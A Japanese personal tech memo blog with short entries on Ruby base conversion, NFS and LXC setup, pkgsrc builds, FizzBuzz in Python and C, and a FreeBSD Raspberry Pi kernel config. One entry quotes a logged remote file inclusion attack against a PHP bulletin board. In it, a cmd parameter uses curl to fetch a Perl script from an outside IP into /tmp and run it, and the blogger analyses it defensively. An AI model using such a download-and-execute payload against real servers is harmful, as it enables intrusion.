僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
から新横浜を経てのぞみ。AIR Hは遅いが切れない。
寝たり起きたりしながら聞いたり聞かなかったり。もともとコアレスな
ネットワーク(の集合同士)の求心力と遠心力の相克...意味不明。
ともかく、まだまだ混乱しながら変化、発展してゆく模様。
あちこちに飛び跳ねていた。
ほんとに"Dependable"なんだろうか。脈絡のない話から無邪気な期待感が
伝わって来た。
一Get。
う〜む。もう少し大きい写真を置きたいものだ。
濃い話が続く。自分的にはDNS、そしてIPネットワーク(流石に勉強不足)、 次いで地域インターネットの話が面白かった。総論、概説的な話は、自分の 見聞きしていたことと大きくは違わない。細部まで理解していた訳では もちろんないが。
Yahoo! Japanの
独自のクローラもある、とのことである。
URLはログに書き残されていた。
ネットワーク環境のページを加筆。
一部を別ページに分離。
舌をもっと伸ばせ、である。
// 211.185.193.2から "GET //bbs/skin/zero_vote/error.php?dir=http://210\ .178.111.65/fbi.gif?&cmd=cd%20/tmp;curl%20-O%20210\ .178.111.65/mmm;perl%20mmm HTTP/1.1"
error.phpの引数に、あらぬところのfbi.gifとか
を読み込ませている。
fbi.gifとかいうファイルはphpスクリプトだった。
後は何回か出た、curl(1)でリモートのmmm
(これはperlスクリプト)を/tmpにダウンロードし、
実行(する筈。404だったし、試す気になれない)。
十進→二進の計算なんて七面倒。つーか、何度覚え(た つもり でい)てもすぐ忘れる...orz
sprinf("%#b", 109903493) # 適当な数字 => 0b110100011001111111010000101
長すぎ。もっと簡単に逝きたいもんだ。
1099034393.to_s(2) => 110100011001111111010000101
二進→十進もついでに。
sprintf("%#d", 0b101001010) => #330 0b101001010.to_s(10) => 330
てっぺんに"0x"、"0o"をつければ、16進とか8進もできるはず。
それから、".to_s(28)"なんてのもできちゃう(逆はどうするのだろ)。
sprintf("%#x", 0b11111111) => 0xff 0o1347543.to_s(2) => 1011100111101100011 0xac1398d.to_s(19) => 3fga6gh
おまけ。
(253*427).to_s(16) => 1a5ff
"scim-ruby"と何度も書き足せば、ページランクが一時的にあがるかも。
Time.new.yday # 今年の何日目? => 336
Time.mktime(2001, 5, 16).strftime("%A") # 2001/5/16は何曜日? => Wednesday
to_sでは位取りは2-36が可能らしい。数字に転用できる記号がa-zの26種類だからだろうか。
ところで、これは何?
3934.to_s(a) => 8j7 $ ruby -e "p 3934.to_s(a)" -e:1: undefined local variable or method `a' for main:Object (NameError)
と考えてiMacの電源を入れる。
Vineのサイトを斜めに見ながら、攫ったSPECファイルを適当に書き換える。
何もしなくてもmakeが通るけど、installの処理を考えるあたりで気力消尽。こっちは結局逝けなかった。
Plamo-4.2のnfsサーバにしばらく嵌められる。
JFのNFS-HOWTOを流し読みしながらあれこれコマンドを叩きまくった。
結局、/etc/exports のOptionに"sync"か"rsync"かを書かないと
mountできなかった。さしあたりはsync。
$ cat /etc/exports /path/export *.domain(rw,anonuid=uid,anongid=gid,sync)
Tips。
/etc/exportsを書き換えたら exportfs -ra。
ずっとPIDをちまちまkillしていたのだ。
DHCP鯖が死んでいた。 復旧まで、とりあえずは固定で。さしあたりは前鯖に戻す。
すっと固定に変更できないような環境もあるのだろうか。
Network Managerはマシンの起動時でないとうまく働かないとかなんとか。
IPアドレスをかえたらリブート、なんてWin95じゃあるまいし。
の安定版を頂戴して、試す。
bootstrap のエラーについては
例の通りに対応。基本コマンドのフルパス決め打ちに起因するエラーも適当に処理。
opensshを入れてみたら、"PRE-INSTALL script" とかでひっかかった。
専用ユーザ、グループが必要らしいが、それが無くても(事前に用意はしていない)、
"Error code 1\n\nStop."
有っても("to be created" に従って groupadd sshd; useradd -g sshd
-m -d /var/chroot/sshd -s /bin/false sshd
してやっても)同様。
なんかめんどくさいな。
既出気味な気がするが、kermit をbmake しようとすると、"ACCEPTABLE_LICENSES+=kermit-license" をmk.conf に追記せよと言われた。
どこかで聞いていたが、それも省略。
なんとかpython2.6 以上(手元にあるのは2.7.3と3.2.3)で
動くようにできた。はずだ。
from __future__ import print_function for num in range(1,101): if(not num%3): print('fizz', end='') if(not num%5): print('buzz', end='') if(num%5 and num%3): print(num, end='') print('')
Cで書いても、大して違わなかった。
演算子の優先順位( "%" は "!" より優先度が低い
(
参考1))に嵌った程度
(python の "%" は、"and" や "not" より上
参考2)。
#include<stdio.h> int main() { int x; for(x=1; x < 101; x++) { if(! (x%3)) printf("fizz"); if(! (x%5)) printf("buzz"); if(x%3 && x%5) printf("%d", x); printf("\n"); } return 0; }
switch ... case 文で書けないかと思ったが、case には論理値は 書けないっぽい("エラー: case ラベルを整数定数に還元できません"と 叱られる)。旨い解決策が浮かばないので、ここまで。
mathematica + 昨日のフィルタ。
20分弱くらいの時間で完了した。ついでに別環境で縮小。
Linux kernel-3.12.1 に添付している
ロゴで、
たぶん元画像。
それだけ
Windows10にUltraVNCを入れてみた。さしあたりはクライアントだけ。
複数のVNCで接続すると、同じ画面が複数出て、同時に描画が更新される。
動画やゲームなどまでスムースかどうかは。
Debian上で色々。
参考にしたドキュメントは
LinuxコンテナとLXC入門と
Debian Wikiの
LXC、そして同じく
LXC SimpleBridge。
$ sudo apt-get install bridge-utils lxc $ sudo lxc-create \ -t download \ -n $NEWCONTAINER \ -- -d debian \ -r jessie \ -a i386
ダウンロードが終わるのを待って、
$ sudo lxc-start -n $NEWCONTAINER -d $ sudo lxc-attach -n $NEWCONTAINER
Debian jessie のLXCではデフォルトでアタッチしてしまう。
まずは -d スイッチでデーモンモード、そしてアタッチする。
ただしこれだけではネットワークがない(Ubuntuでは自動で色々
やってくれていた)。
$ sed -n '/^$\|^#/! p' /etc/network/interfaces source /etc/network/interfaces.d/* auto lo iface lo inet loopback auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_fd 0 bridge_maxwait 0 $ sudo awk '! /^#/ && !/^$/ {print}' config lxc.include = /usr/share/lxc/config/debian.common.conf lxc.arch = x86 lxc.rootfs = /var/lib/lxc/$NEWCONTAINER/rootfs lxc.utsname = $NEWCONTAINER lxc.network.type = veth lxc.network.flags = up lxc.network.link = br0 lxc.network.hwaddr = 00:FF:AA:00:00:02
これでホスト同様、外とじかに繋がるようになった。
ubuntuのデフォルトはNATだった。
そして、ホスト起動時のコンテナ自動起動。
$ sudo ln -s /var/lib/lxc/$NEWCONTAINER/config /etc/lxc/auto/$NEWCONTAINER $ sudo sh -c "echo lxc.start.auto = 1 >> /var/lib/lxc/$NEWCONTAINER/config
コマンドはすべて日本語訳されていた。翻訳者に感謝。
あとは権限分離か。Ubuntuでは比較的楽にできたが、Debian
はどうか。
するRaspberryPiのFreeBSD-11-CURRENTのイメージができた。
$ uname -a FreeBSD raspberry-pi 11.0-CURRENT \ FreeBSD 11.0-CURRENT #0 r291624: \ Wed Dec 2 14:06:55 JST 2015 \ root@$HOST:/$DIR/arm.armv6/usr/pi/src/sys/RPI-B_MINE arm
/usr/src/sys/arm/conf]$ diff RPI-B RPI-B_MINE
21c21
< ident RPI-B
---
> ident RPI-B_MINE
111a112,122
>
>
> options IPFIREWALL
> options IPFIREWALL_VERBOSE
> options IPFIREWALL_VERBOSE_LIMIT=5
> options IPFIREWALL_DEFAULT_TO_ACCEPT
>
> options IPFILTER
> options IPFILTER_LOG
> options IPFILTER_LOOKUP
> options IPFILTER_DEFAULT_BLOCK
sudo ipf -D で素通しになった。
リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。
Before...
※ kuzu [どこだか覚えてないのですが(汗、一度何かの処理で、/usr/bin/find が not found なために中断し..]
※ obache [ツールのパスは mk/tools/tools.Linux.mk にかかれてます。 TOOLS_PLATFORM.fi..]
※ kuzu [コメントありがとうございます。 このあたりもいじってみます。]